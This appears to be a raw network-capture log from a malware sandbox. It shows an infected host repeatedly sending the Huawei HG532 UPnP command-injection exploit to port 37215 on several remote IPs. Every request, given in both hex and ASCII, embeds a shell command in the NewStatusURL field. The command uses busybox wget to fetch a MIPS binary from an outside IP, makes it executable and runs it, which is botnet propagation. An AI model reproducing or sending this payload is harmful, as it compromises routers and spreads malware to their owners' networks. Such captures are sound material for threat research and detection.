Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.13	41962	45.207.186.42	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:56.765253067 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:54:58.332525015 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:00.188570976 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:04.060689926 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:11.484525919 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.13	49352	156.254.86.122	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:56.778901100 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:00.988658905 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:07.132625103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.13	54422	156.241.125.49	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:56.781851053 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
